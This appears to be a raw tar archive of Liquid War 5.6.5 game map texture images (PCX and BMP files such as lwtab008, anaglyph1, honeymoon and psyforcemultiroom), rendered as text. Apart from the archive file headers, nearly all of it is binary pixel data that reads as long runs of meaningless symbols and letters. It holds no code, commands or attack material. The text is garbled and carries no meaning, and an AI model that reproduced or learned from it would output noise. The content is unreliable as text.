"(,0246789876565420/02431/-/135679;<=;:98765654567654321234321234320-,+,+-/02467876568:;<;60)$! "(,0345457876545654321023431/-/135678:<=<;:987876543431234310,+)+,./12456787679:<;60)$ "(,0345467654310135765431234320.-/1345679;=<;:987654321012320-+)+,./013467876789;<:60)$ "(,03543456542/,+,/36765432345431/.-/02345678:<=<;:989:987654321012/-+,-.-./02467878:;960)$ !',045434542/+)'(,157656545431/.-./01245678:;<;:989:98789:;:9765432121/,+,-,-.-,.035678:;:85/)" !',14543234542.)'$)04676765654320/.-./1356789:98789:;<;:975456789:;<;:97654321210.,+)+-./.,+-/246789:974.'" "'-246543234541-)&"'-25676543210.-,-.03567876789;<:8531346789:;<;986543210.,+)+-.0121/.-,-/14678752-'" "(-1465434541.)&"!$+0356765431/-+,.03567654568;<9630.035678:;<=<;976543210/-+)+,./12343210/./135676530,'" "(-14654542/+'$!").256765420-+,.135654565421013579630-+-13567678:;<=<:87654320/.,+)+-.0234543210123565431/+&! "(-246545420,)$!$).24678765431.-,-/24543452/-,.013430-+)+/24565679:;<=<:87654321/.,+)+-/234543234543210/-)&! "(.25654530-)'$').2465678765431/./13454323431-)()+-.,+)()-024565679:;<;:876543210.-,+)+-01343210/.-,+)$ ")/3654541.+')+.25656787654310/13454323430,($&')'$&(+-0245656789:98653210-,+,-0123210/.-,+)$ $)04654543/+),/2565678765420.-./2454323420,)$"!"$"!"$(+-0245678987531/0./0/010/012321/.-,+($ !$+04654542.+-/135676765430.,+,.25654323430-+(&$" !$)+.13456787530.,-.01210.-./01210.-+($ !$+/46543453101234567654321/-+)()+-1565434542/,+)'&$"! "'),0243235676531.+)+-/123210,+,-./10.,+($! !$).3654323454345654321/.-+)'$')-15656531.,+)()'$! "&),/2342123456542/,+)(),/134320.+)+,-.0/.-,+($! $)-1454321234545654320.-+)'$"!$')-257676542/-+)+'" "'),0242123431.+)('(+.1245432320.+)+,./.-,+($! $(,/2321234545654320/-+)'$! "$)+/367878765420-+)+,(" !$(+.13432321.+)(&),023432121/-+)+,-.-,+($! $(+.1210123454565431/-+)('$"! !$(+.146876532/,)(')+'" $'),/13454321/,)($'+.134321210.,+)+,-,+,-,+($! "'+.01012345456531-+)('&$"! "&),025789876421/,)&$')+)&! !$(+-0245654321010-+($!"$)-0234321210.,+)+,+,-,+($! "'+./01234565653/+(&$&'&$! "'+-035789876421/+($"$')&! !$(+.03456765432101/,)&"$'+.12321210.,+)+,+,-.-,+($! "'+./01234565653/+&$'()'$! "&+.035789876421/,($!"$()&" !$(+.13456765432120.+($!"&)-023210.+)+,-./0.-+)$! $'+./0123456767640+)')+,+($!$),/256786532/,)$!$()'" "'+.02345676543212320-)&"&),/23210-+)+,-./0/-)$! $(+.0/023456767652/,)+-./.,+'"!$'+.1456789875320-)&"!$()'" !&)-02346765432342/+($(+-021210.,+)+,-./01.+$! !$)+.102345676530./01210.+($!"&),0345678986420-+'"!$')'" !$)-0234676543234541-)'$'),/12121/.-,+)+,-./01.+$! !$)+.10123456567654323420-)$!$(+.134679:98642/-+'"!"&(&" "&)-023467654212345653/+)'&')+.02101210.-,+)+,-.0-)$! !$)+.1234565654543456531.+&" "&)-0235679:9641/,)$! !$&$! $(+.13467654210234540-)('&)+-010/01210/-,+,-./0/.-,)$ !$)+.0123456543454567642/,($!$),0235789:98630.+($! !$! !$),/234576420/1234542/,)('+-/010/012320.-./0.-,+)" !$(+.0234567654321235676530-)$!$'+/234689:97520-+($! ! !$)-0345457641/./12345431.+)+-/0/./0134320/./010.-,+($! !$(+.1345678765432101356567642/+'"!"&).245679:87420-+)&" "'+.24567530.-./123420-+,-.-./134321010/.,+($! !$(+.135678764321013565676530-)&$"$).356789:986420.-+)$! !$),0356767530.-./1234320.,-/1345432101210.-,+)$! !$'+-035678987531/./013567642/,)'$&)/356789864210/-+($! "'+-146787531/.-.012321/.-,+)+,-/134543210/023210/-,)$! "&)-02467898641.,+,-.0245676542/,+)+-0356789875321/-+'" !$(+.1467875420/.-./0123210/-,+)()+,-/134543210/./023210/-)$! !$),/13567898752/+)()+,.0345456765420.-.0234567898754321/-)$! !$)+.246787654210/./01210.-+)'$&()+-.0234320/.-.02343210.+$ !$),/02456787530-)(&$&'()+.13454565432123456898654321.+($ "&),/2467654320/.-./010/.,)'$"!$&+,./134321/.-./134310.+$ "&),/012345676542/,)'$!"$')+/2345432346898765431/,)$! !$(+-02456543210/-,-.010/-+)$! !$(+-/02454321/.-./1420/-+& "'+-/01234565421/,)($"!"$&(+-034345654212357898765421.+)$" "&)+.0245420/.-,+,+,.010/-+'" !$),.014653210/./0245420/.-+&! "'+-/0123454310/-+)(&$&(+,034323467642012357898754210-+)'$"$(+,.0245420.,+)+,.010.,)$! "'+-/1257643210101245420/.+'" "'+-/1212343210/.,+)('()+-1454210123467641023467898764310/-+)('$&')+,.0245430.,+)+,-/010/-+($! !$),/123578754323456530/+'" "'+-0212343210/.-,+)+.03565420/0134565313567898754210/.,+)()+-0245420-+)+-.010.,)'" "'+.0234678765456764101,'" "'+-02323454323210/.-/13565420/013454321356898754210/.,+)+-0245420-+)+,./010/-+)$! !$)-0234568987654567876421/(" "'+-02345434543210234567653101234321024689:98653210/.-,+-0245431.,+)+,./0.-+($! "'+/2356787656787654321.( "'+-/123456545653212345676421232102579:;:976543210.-,.023421/-,+,-./010/-+($!$+/13567876567865431.(! "'+-/01245656754212345676532321012368:;:987654320/.-/023210/.-./010/-+($!"'.2356765456765432343/(! "'+-/01356567876421234565432123579:;:987654310/.-./010/./010/-+'$"$).2456543456532123465/)" "'+-./013565678764212123454321234679:;:987656765310/./0.-+,-.010/0/.-)&$"'+/35654346765420/024674/)" "'+-././1356567643210123210/01234689:98765456765310/010/,+)+,-./010/0/-+($"$(,03565434678765420.-./13685/)" "'+././1356567643210/./010/./0235789:98765434675421010.+)'()+,-.0.,)&$"&)-1565434346876531.-.0258:6/)$ "',/0/02456545676545420/-,+,-./0/./0135689876543467643210.+)(&$')+,./010-+($'+.367654345434678765420/-/148:<;60)$! !(-10/02465456541/,+)()+-/0/01345676565434567654321/-+)'$"!"$')+,-./01210-)(&$(+03787545654567654320/147;<=<81)$! "'-10/02456543456530,)(&$&(),./0123432345434567654321/-+)'$! !"$')+,.01231-+('&')-04687545678765654323479<=92+$! "'-210/01345654323456540,)(&$!$'),./0123210/.-.01345457654321/-+)($"! !"$')+-/121/+)()+.14678765678987679;<=;3+$ "(-1210/01354321234541,+(&$"!$)+,-.02343210/-,+,.024545765432320.,+)'$! !$')+-0231.+)+-024678765689:;:98989:;<=;4)$ !',1/024321012342.+)('&$')+,-.02343210.+)+-024567875432123421/.,+($"! !$(),/2431.,+-/12467865689;<;:;:9:;:;<=4)" !&,010/023210123431.+)()+,./134543210.+)('&'(+-/2345678765421013454320.-+)'$"!"$()+/245420/012346765679;<=<;:9;<;98:4) !&+.0101210123432/,+)+,-././13454321/-+)'$')+.0245678753210135654310/.,+)'$&()+.2464345765679;=<;:9;<;975794(" $).01210123431.,+,./0/024543210.+)(&$"$'),/24678753212356543210.-+)(),/25676545765679;=<;989:;:85434581)" !$)-/012123454320/./010/013565431.,)'$"$&)-14678754354210120.,+-/24567876787678:;<=<;:876789:;:96432340)" !$)+.01232123456532123210/02467876532/,)($"!$&+046898765454320/./123210.-./134567878789:;<;:97545789:86432/(! $(+-/123432123456532123210135689876542/-+(&$"!$)057898765421/.-,-/02343210/01234567898789:987532346789865432-'" $(+-/13454321245654312321013568987642/-+)'&$+3689:989876531/-,+,.02343210/./01234689:987678987654212346787653-'" $(+-02454321234565432012321012467898765431/-,+)+0789:987542/.,+,./1343210/./0123589:;:986545678765421245678973-&! !$(+.03454321234320/01210134676543210/.-048:986420.-,-./1343210/0123589:975432345678765431012345679:74.&! !$(+.1343212321/./0/013454321257:;<;:;:97531/.-./0/01343101234689:97532123578765310/01345678752,&! !$(+.1343210/./012357:<=<;:;:97531/.012123432123434689:9753212468753210/024565431,'! $)+.12323210/.-,-./0123468;=<;:;:975320/12323432123456545689:97654210136898754310/02345431,' $),/123234321010/.,+,-./.-./012323468;=<;<;:9764310/01343232123467656789:98763101368986543210/01345432-(! "),.0121234321012321/-+,-./.-,-./0123212358;=<;<;987654212343212124678987420258987654310/013432342/) "(+-/01212321013420.,+,-./.-,-./01321247:<=<;<;:87654323210121013567876520/14798654310/01232340)" $)+,.01232101345431/-+,-.-./01243202468:;<;:87654321210/010135656765420/./1476543210/012123/&! $)+,./01232101245430/-+-,-./013210/125689:986543210/./012345434543210/-/132310/012101-'! $()+,-./010/0/0/010.,+,+,-.121/.-.0235678654321210/.-,-./01210123210/.-,-./0/01.-,-/0/.-)$! "$'()+,+,+)()+)+,-,+,-.104520/.-,+)+,-.-,-,+)+)+,+)'" !"$&('&'('&$&'('$&')('()( ()+)('('&$&'()('()('&$&'()('&$"! !#$#! !#$!#!#$#!#$%$#!#! #%$#$!#$%$#$#$#! ! !#$#! ߋׇ{skg_[WOKS?wK;sC7o;7g33c/3_/3W+7S'3O'3G#3C3?/7/3+/+liquidwar-5.6.5/data/maptex/lwtab008.orig.pcx0000664000372000037200000000532413407756104020370 0ustar travistravis O1,,P &!&!&!&!&!&!&!&!&!&!&!&!&!&!&!&!&!&!&&:&:&:&!:8:& &:8:& &:8:&&:8:& &:8:& &:8:&&:8:& &:8:8:8:8:& &:8:&&:8:&:8:&:&:&:8:&:8:&&:8:&:8:& &:&:& &:8:&:8:&&:8:8:& &:&:& &:8:8:&&:8:& &:8:&:8:& &:8:&&:8:8:& &:8:&:8:& &:8:8:&!:8:&:8:& &:8:&:8:& &:8:&:8:&&:8:&:8:& &:8:&:8:& &:8:&:8:&&:8:& &:8:& &:8:&:8:& &:8:& &:8:&&:8:& &:8:& &:8:&:8:& &:8:& &:8:&&:8:& &:8:&:8:&:8:&:8:& &:8:&&:8:& &:8:8:8:8:&:8:8:8:8:& &:8:&&:8:& &:8:&:8:&:8:&:8:&:8:&:8:& &:8:&&:8:& &:8:&:8:&:8:&:8:&:8:&:8:& &:8:&!:8:& &:8:& &:8:& &:8:&:8:& &:8:& &:8:& &:8:&&:8:& &:8:& &:8:& &:8:&:8:& &:8:& &:8:& &:8:&&:8:& &:8:& &:8:& &:8:8:& &:8:& &:8:& &:8:&&:8:& &:8:& &:8:& &:8:& &:8:& &:8:& &:8:&&:8:&:8:& &:8:& &:& &:8:& &:8:&:8:&&:8:8:& &:8:& & &:8:& &:8:8:&&:8:& &:8:& &:8:& &:8:&&:8:& &:8:& & &:8:& &:8:&&:8:8:& &:8:& &:& &:8:& &:8:8:&&:8:&:8:& &:8:& &:8:& &:8:& &:8:&:8:&&:8:& &:8:& &:8:& &:8:8:& &:8:& &:8:& &:8:&&:8:& &:8:& &:8:& &:8:&:8:& &:8:& &:8:& &:8:&!:8:& &:8:& &:8:& &:8:&:8:& &:8:& &:8:& &:8:&&:8:& &:8:& &:8:& &:8:&:8:& &:8:& &:8:& &:8:&&:8:& &:8:&:8:&:8:&:8:&:8:&:8:& &:8:&&:8:& &:8:&:8:&:8:&:8:&:8:&:8:& &:8:&!:8:& &:8:8:8:8:&:8:8:8:8:& &:8:&&:8:& &:8:&:8:&:8:&:8:& &:8:&&:8:& &:8:& &:8:&:8:& &:8:& &:8:&&:8:& &:8:& &:8:&:8:& &:8:& &:8:&!:8:&:8:& &:8:&:8:& &:8:&:8:&&:8:&:8:& &:8:&:8:& &:8:&:8:&&:8:8:& &:8:&:8:& &:8:8:&&:8:& &:8:&:8:& &:8:&!:8:8:& &:&:& &:8:8:&&:8:&:8:& &:&:& &:8:&:8:&!:8:&:8:&:&:&:8:&:8:&&:8:& &:8:8:8:8:& &:8:&!:8:& &:8:& &:8:&&:8:& &:8:& &:8:&&:& &:& &:& &!& &!& &!&!& +++;;;KKKWWWgggwww÷sssgggWWWKKK;;;///###/ 3 ; ?GK#S+W7'_?/cG3kS;o[CwgOoWw_kskoco[oSsOw{G{{?{s7wg3w[+wO#wCs3s#s s / #########'''''''''+++++++++/////////333333333777777777;;;;;;;;;?????????CCCCCCCCCGGGGGGGGGKKKKKKKKKOOOOOOOOOSSSSSSSSSWWWWWWWWW[[[[[[[[[_________cccccccccgggggggggkkkkkkkkkooooooooossssssssswwwwwwwww{{{{{{{{{liquidwar-5.6.5/data/maptex/anaglyph1.orig.bmp0000664000372000037200000020537413407756104020706 0ustar travistravisBM (  !!JJOOJJ2kiiOLLBYYT,,*""FMMOOwii~~MMb88ADDIeehwwwMMMk"AA"A A"A 2. (     A"A   )                "A                            %           2             A"A                            k                        A"A                                                 "A                                          F                   A"A                "A                                      "A                                                             6                       (                              O1B                           "A                         A"A                                                           O1B                       "                       %                                                                                                                      #                       22                     )                                                                                               8                                                                          A"A                                                O1B                                                                           (                                         "A                                              F                     7                                      A"A                   "A                                                                             n                 A"A                             A"A                                                   "A                                            (                                         "                                                                                           "A               A"A                                 6                                  n                 X                   A"A                "A                                             )                      7                                                                    )                                                    "A                        A"A                      "A                                                                             %                         "A                                                     X                     A"A                      "A                  A"A                        )                                                              )2                                                 n                             "A                                                      "A                                 *N'                                                                                                                  "A                        A"A                                             A"A                                                   6                            8                       T                          "                           A"A                                             +                         "A                                                                                                                                  (                                A"A                       "A                          (                         n                                                                                                                                     A"A                      "                                             "A                      +                                                                  "                                                                              A"A                                                                   "A                       ))                       <                       k                        n                             A"A                           "A                            A"A                                 "A                                                                                                        <                                                    2.                             !%                                                           (                         ]                           (                                                                                                                                                         A"A                       "A                                                                    %                       "                                                   "A                ))                     "A                 A"A                       "A                 A"A                                                ))                     2                    T                                           +                      ]                                                      #                                          "                      A"A                    "A                    A"A               N9                     7                    "A                      O1B                "A                    A"A                      "A                 98                 ]              A"A        c        A"A          "A  A"A  "AA"A"AA"A"AA"A"Aliquidwar-5.6.5/data/maptex/lw.orig.bmp0000664000372000037200000020522413407756104017436 0ustar travistravisBM R(xd^tnr=Q+YYYltlt|u|ultltlt|u|ultlt|u|ultltlt|u|ultlt|u|u|ultltltlt|u|ultltlt|u|ultlt|u|u|ult|u|ultltU|uHltU|uHHltH|uUltHHHltlt|u|ultHltlt|u|ultlt|uH|uHHlt|u|ultX|uHHlt|u|ultlt|ultlt|u|ult|u|u|u|u|uUltHH|ultlt|uHltH|ultlt|uHltHHltUU|u|uXHH|uUlt|u|ultHHlt|u|ultlt|uH|uHltltlt|u|u|ultlt|ultlt|u|u|ultlt|u|ultlt|u|u|ultlt|u|uliquidwar-5.6.5/data/maptex/honeymoon.orig.bmp0000664000372000037200000020537413407756104021035 0ustar travistravisBM (  !!0<^#-F#,C"+B!+A!)?(<'<$8!4 1,&!$j ZG3    (3N!*@&0J+6S (>#62>`(                  .                 ,                                                     j                                                                       m                  ,                            '            j                                  (            r                                            .           6                     (                 '         C                -                .                  C                     j             g                                                            g                                 (                                   '                  (                   (                                         ,                                a             j                                6                                  j                          -             a             C              (                                                                  ,                                          j            6           j                                                                                                          '                                             j                                                                 ,                                                                                           -                                            '                 -                                                                                            C               ,                           ,                                '                                                                      6                                  ,                                                      (                 (               C                                  -                                                 6                                          -                                            Q                           Q              C                   ,                (                 ,                                 6                               a                j                                                a                                                                               r              4               j              a            (           6             j          ,                                                       g            j                            C              '             -                             -                                          ,                               ,                                                                                 A                 ,                 .               a              C                                .              L                -                                                     Q                                                                 -                       a                         j                                                               ,             j              a                                (            ,                6         j                j  a  j      ,    (  .    j  ,  -  6  -           (     .        (           C               ,                C                 ,                   m                    6                                         aliquidwar-5.6.5/data/maptex/anaglyph2.orig.bmp0000664000372000037200000020525013407756104020700 0ustar travistravisBM f(  fffffffff                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     liquidwar-5.6.5/data/maptex/psyforcemultiroom.orig.bmp0000664000372000037200000146234613407756104022631 0ustar travistravisBMd6(\d !:-B5B5B5B5B-B1B1B$B5B5B-B5B5B)5B5B5B5B5J!9J-B5B-B5B5B5B-B5B-B5B5B(B5B5B5B-B5B1B1B5B1B5B5B5B1B1B)5B!9J:Yk-B1B1B1B-B)5B5B1B5BAB-JJMR !)YB5B5B5B5B-B1B1B(B5B5B-B5B5B)5B5B5B5B5B!9J-B1B-B5B5B5B-B5B-B5B5B(B5B5B5B-B5B1B1B5B-B5B5B5B5J1B)5B!5J:Uc1J5B1B1B-B)5B5B5B5BAB)kis !)]B5B5B5B5B1J1B1B(B5B5B-B5B5B)5B5B5B5B9J!9J-B1B-B5B5B5B1B5B-B5B5B$B5B5B5B-B5B1B1B5B-B5B5B5B1B1B)5B!9J:Uc-B1B5B5B-B)5B5B1B5BAB1ky!1eB5B5B9J5B-B5B1B(B5B5J1J5B5B)5B5B5B5B5J!9J1J5B1J9J5B5B-B5B-B5B5B(B5B5B5B-B5B1B1B5B-B5B5B5B1B1B)5B!9J:Uc-B1B5B1B-B)5B5B1B5BAB)kq{!)aB5B5B5B5B1J5J5J(B5B5B-B5B5B)5B5B5B5B5J!9J-B1B-B5B5B5B-B5B-B5B5B(B5B5B5B-B9J1B1B5B-B5B5B5J1B5J)5B!9J:Uk-B1B1B1B-B)5B5B1B5BAB)km{ !)YB5B5B5B5B-J5J1B(B5B5B-B5B5B)5B5B5B5B9J!9J-B5J-B5B5B5B-B5B-B5B5B(B5B5B5B-B5B1B5B5B-B5B5B5B1B1B)5B!9J:Uc-B1B1B1B-B)5B5B5B5BAB)kq{!֭5B5B5B5B-B1B1B(B5B5B-B5B5B)5B!:-B5B5B5B5B-B1B1B$B5B5B-B5B5B)5B5B5B5B!9J9J-B1B-B5B5B5J-B5B-B5B5B5B-B5B5B-B5B1B)5B5B-B5B5B5J1B5B)5B!AJ:Uk-B5B1B1B-B)5B5B1B5BABs)-1 !)aB5B5B5B!9J!=R!AR1B(B5B5B-B5B5B)5J5B5B5B!AR!=J-B1B-B5B5B9J-B5B-B5B5B5B-B5B5B-B5B1B)5B5B-B5B5B9J5B5B)5B!AR:Yk1J5B1B1B-B)5B5B5B5BAB)kq{!)eB5B5B9J!9J)EZBas5B(B5B5B-B5B5B)5J5J5B5B!=J!=J-B1B-B5B5B9J-B5B-B5B5B5B-B5B5B-B5B1B)5B5B-B5B5B5J1B1B)5B!AR:Yk1J5B1B1B-B)5B5B1B5BAB1kq{!1eJ5J5J5B!9J)AZBas1B(B5B5J1J5B5B)5B5J5B5B!AJ!=J-B5B1B9J5B5J-B5B-B5B5B5B-B5B5B-B5B1B)5B5B-B5B5B9J1B1B)5B!=J:Uk-B1B5B5B-B)5B5B1B5BAB)ku{!)aB5B5B5B!9J)AZJas5J(B5B5B-B5B5B)5J5J5B5B!AJ!=J-B5B1B5B5B5J-B5B-B5B5B5B-B5B5B-B5B1B)5B5B-B5B5B9J5J5J)5J!ARBYk1J1B1B1B-B)5B5B5B5BAB)ku{!)aB5B5B5B!9J)EZJes1B(B5B5B-B5B5B)5J5B5B5B!AR!=J-B1B-B5B5B5J-B5B-B5B5B5J-B5B5B-B5B1B)5B5B-B5B5B9J1B5B)5B!AR:Yk-B1B1B1B-B)5B5B1B5BAB)ku{!Ŝ5B5B5B!9J)AZ5J1B$B5B5B-B5B5B)5B!:-B5B5B5B5B-B1B1B$B5B5B1B5B5B)5B5B5B5B5J5B-B1B-B5B5B!9J-B5B-B5B5B!=J1J5B-B5B5B5B5B5B-B5B!9JAJ1B1B)5B)ERJas5J1B1B1B-B)5B5J1B5BAB挦JMR!)YB5B5B!9J1MZJa{Rq!9J(B5B5B-B5B5B1AR=J5B5B)ER!=J1J1B-B5B5B!AR-B5B-B5B5B!=J1J5B-B5B5B1B5B5B-B5B!9J=J1B1B)5B)ERJas5J1B1B1B1J)5B9J1B5BAB)km{!)aB5B5B!=RBYkZq!AR(B5B5B-B5B5B:MZAR5B5B)ER!=J1J1B-B5B5B!AR-B5B-B5B5B!=J1J5B-B5B5B1B5B5B-B5B!=JAR5B5B)5B)ERJas5J1B1B1B-B)5B5J1B5BAB1ku!1aJ5B5B!=JBYkZq!=R(J5J5B1J5B5B:IZ=R5B5B)ER!AR5J5B1J5B5B!AR-B5B-B5B5B!=J1J5B-B5B5B1B5B5B-B5B!=JAR1B1B)5B)ERJas5J1B1B5B-B)5B9J1B5BAB)kis!)eB5B5B!=JBYkZq!=R(B5B5B-B5B5B:MZAR5B5B)ER!=J1J1B-B5B5B!AR-B5B-B5B5B!=J1J5B-B5B5B1B5B9J1J5B!9J=J1B1B)5B)ERJas5J5B5B1B-B)5B9J1B5BAB)km{ !)aB5B5B!ARBYkZu!=R(B5B5J-B5B5B:IZAR5B5B)ER!=J1J1B-B5B5B!AR-B5B-B5B5B!=J1J5B-B5B5B1B5B5B-B5B!9J=J1B1B)5B)ERJas5J5B1B1B-B)5B9J1B5BAB)kq{!)aB5B5B!=JBYkZqJm{1B$B5B5B-B5B5B)5B !:-B5B5B5B5B-B1B1B(B5B5B-B5B5B)5B9J5B5B5B5B-B1B1J5B5B9J-J!=J!=J-B5B!9J1J5B5J!=J)5B1B!=J!9J-B5B1MZ1Yk1B1B1=J)IZ1Qc!=R!AR)IZ!AR1J1=J!AR5J5B!EJ:Uks}ZeRm5BBYkZuZyRm:UsJesJes:Uk9J!=JJUc!MZ5B!=JBYkB]k)EZ!=R!9R!9J!AR)AR1J!=J)AR1J9J)IZ!9R5B1J!9J)5J5J!=J!9J-B5B1MZ1Yk1B1B1=J)ER1Qc!=R!AR)IZ)ER1J1=J)AR5J5B!IJ)kq{s)]BZuZk{JiscyB]s!9J)IZcm{1Yk5B)IZJisc}Rm!=R!9R!9J!AR)AR1J!=J)AR5J5B)IZ!9R5B5J!=J)5B1B!=J!9J-B5B1MZ1]k1B5J1=J)IZ1Qc!=R!AR)IZ!AR-B1=J)AR5J5B!IJ)ku{{1aJZqZk{挪Jisc}Ja{!9J)ERcm{1Uc5B)IZJi{cRm!AR!=R!9J!=J)AR1J!=J)AR5J5B)IZ!9R5B5J!=J)5B1B!=J!9J-B5J1MZ1]k1B5B1=J)IR1Qc!=R!AR)EZ!ER1J1=J!AR5J5B!EJ)kiss)eBZuZk{挪Jisc}Bas!=J)IZcq{1Yk5B)ERJesc}Rm!=R!9R!9J!AR)AR5J!=J)AR5J5B1IZ!9R5B5J!=J)9J5J!=J!9J-B5J1MZ1Yk1B5J1AR)IZ:Qc!=R!AR)IZ!AR1J1=J!AR5J5B!EJ)kiss)aBZqZk{Jesc}B]s!9J)ERcm{1Uc5B)ERJi{c}Rm!=R!9R!9J!=J)AR5J!=J)AR5J5B)IZ!5J5B1J!=J)9J5B!=J!5J-B5J1IZ1]k1B5B1=J)IZ1Qc!=R!AR)EZ!AR1J1=J!AR5J5B!IJ)km{s)eBZqZk{)IZ-J5B5B-B5B5B)5B!:-B5B5B5B5B-B1B5B(B5B5B-B5B5B)5B5B5B5B5B5B-B1B-B5B5B!=J-B5B5B-B5B!9J!AZ9J-B5B5B9JJessRm:UcBYkBi{)MZ)MZky{ZuBYk!AR!AR)EZkyZy!AR!MRRqBABRas:-BRm{B]kJe{c}9J)ARJa{sJesRicy:UcJ]kksRm{kB]k)EZJas:Uk1IZBask1Mc)IZ)ER!9R!=JZus:Uk1MZ!9J!ARkRm:UcBYkBm{)IZ)MZky{ZuB]k)ER!AR)EZkyZy)AR)MR)kq{R]k:-BRm{1Zc9J)EZc}ֽ攮sJasRas{{Rq{:UkRmJe{Jesks1Mc1IZ)ER!9R!=JZus:Yk1QZ!9J!ARkRm:UcBYkBi{)MZ)MZky{ZqBYk!AR!AR)EZkyZy)AR)QR)km{R]s:-BRm{1Zc9J)EZc}޽sB]sRas{{Rq:UkRqJiJesks1Mc1IZ)ER!9R!=JZus:Yk1Qc!=J!ERkRm:UcBYkBi{)IZ)IZky{ZqBYk!AR!ER)EZkyZy!AR!MR)kisR]k:1BRq{1Zc9J)ERc}޽sBasRas{{Rm{:UkRmJe{Ji{ss1Mc1IZ)ER!9R!=JZusBYs1MZ!9J)ARkRm:UcB]kBm{)MZ1MZky{ZuBYk!AR!AR)IZkyZy!AR!MR)kisR]k:-BRm{1Zc}9J)EZc}޽sBasRas{{Rm{:UkRqJe{Jesks1Mc1IZ)ER!9J!AJZus:Uk1MZ!9J!ARkRm:UcBYkBi{)IZ)MZky{ZuB]k!AR!AR)EZkyZy!AR!MR)kq{R]k:-BRm{)ZcJ5B(B5B5B-B5B5B)5B!:-B5B5B5B5B)!1)!) )1!1 :)))9R!=R)AR)) ) )!9J)9R!$B1!)(B11R)9R!5J11-BRqŜŔAŔ{{1eMZa{{!$BBQk:)Rq{!1JZi{} :$BZikyBIckJ]s(:JMkŌJUsBMkZissk}Ra{JUsRUscy{֔Ōku{ΜIΜŔQEcm{EY:)Zm)})-1BQk)=Rsu-Zq)AZRm{Z]{RicyŜRUsJe{Ri{cq{1EŔkťΜŜŔQΜŌ{{ Za{s9m :1ci)QEQ:Mc)=Rsm)$Za)1JR]{)UΔZqRi{c}ŜR]{JUsR]{cm{1]ΔŌk{ΥΜΜŔŌ(Ŕ{{MEZm{-${:!cya!iQ:Ic)AZsmice)(JRUs$ŌZmRe{cyΜZ]{JUsR]{cq{R֭ΥŌsyΥ֭֜Y֜Ŕ sUZm{s9I$B1Z]{-Aa:=Z)5Js==ci)-JRQkMZuRUscqΜRqJa{R]{ca{{1Q֔k}{ťŜΜŔ-ΔŌ{{9$Zy{5U s1)ZqQ]A$1$B5B5B-B5B5B)5B!:-B5B5B5B5B1!11){)IE 1:9R)-J-B!=R!5J )-BZuYU9] 9e-=]{9Us{{aΔa{Y $Δ$Iks}I$:-B s :)kq-MΥ(sΥ s֔1Ma1)5R!5J(B!=RB]sB]ssI9$s]E-{aEY s 5IYs{-1!M==)YI:]1-{eY1]9({Ys 5Ii{()Q!]as-A]i{{$--{s]M=1 {s]QE9- {seYQE91({{ ssaYQIE=91(${{{(11QA1eUQ!i]em{$$-==QMQUYa5ss{ $-19=AEIMMMMMIEA=91-$ {sskaYQIA91( {{{ uaYM)euis s{)9 $-5=EMU]q{$)I9EQY:!$!9)EAIUe:9!5!EA91sYE9$m)m= )$Y9{EYs{$5e{-M]i:9)1{{skYE-AaA]s(9A=5 sM(Is(EYkkaM1skM Y(Y{1 Y$M-sI MY=s1Q5Qa{Y(Zi!(B5B5B-B5B5B)5B !:-B5B5B5B5Bk!!11ky!(B11Jci1ys15R!!$Bkm(1 :) :Ŕ{s{Za{1EZc}Aci!1J)-JkqZm:BEckJQksu:=Z$:Zycm)9R1AZ:QkZ]{ZmRi{151AZ1=RR]{֥ń!5J1AZJQkQBMk))ARRm s{s}:AZ )aM5sU9 AUs 5I] s$!E=U!iUY)qYYQ=({s]M=(Us1I] {(AQ!mm{(=U1s{$9I5saUE9({s9YMA5( {saYQE=1( {sse]UMIA=51($!11=IE1m!a1y!mqm {$--1=IMMQU]asss{{$(-59=AAEEEEEAA=951(${{sskaYQME=5-( {{{e]UQ{{{{ $-19AIQees (59IIUe={(=E!]ai{$=MY{  saM9${m)e=:EiM-Qe{$5IUe s{1eI]]YUMA5 s-Ms =Qe ssssYE(sA]s {-51{e=M ]1sA ss1U{91k1UkaE{Is= sU=ky1$B5B5B-B5B5B)5B!:1B5B5B5B5B9 )!(B5Bsք1{1IZZuB楢s{1 )!9JkJas:UckkZqB]k:Qc:UcsJ攮ZqBYsBYkRm{{ޥkyRm{ZuRic}{c}sRmkc}sy{s}1AZ)AZ{{Rm{֭JsJas֥֔愲BYkJi{R{-9s)5BBZZZZBZZZZJJZZBZZ1J!yu{!$y1:M=- saM=(Q{-EYi$5IUe{ 5I:) s-=IUUMA9- {saUI=1${ssaUME=1( {sse]YQIE=91-()E MMMaa)yq):5$)=:Q19E1aIMUY]akss{{ $(-559=======9511($ {{sskaYUMIA95-$$- {se]:=( $(15=EMU]i!${1E=A)]MUaa{1=AQ]e{ 1M)iaieYI9${eU!Q$s]=Ys{-AU={ -9AQA=!I Y sa]{5Mk{-=EIIA1I(sAk1Y{A]ssY9sE{M$]5 sE=s1U{{Aa sskM{sY-5{UZe)(B5B5B5B-B5B)5B !:-B5B5B5B5B)!$B5B{ތZZZBM]k1!5BBYs:UcJes9J!=J!=J1J1MZ1MZ1B!9J)ER!=J9J!=R:Uc:Uc!MZ1QcB]kk}B]k9JRic}RmRqssc}c}Bac{{k}Ja{k{ΔŔε޵ބޔ)ZZZ=QYs 15BZ:UkŜńZ愞JZBZZ)J!($:M1$ {s]QA- 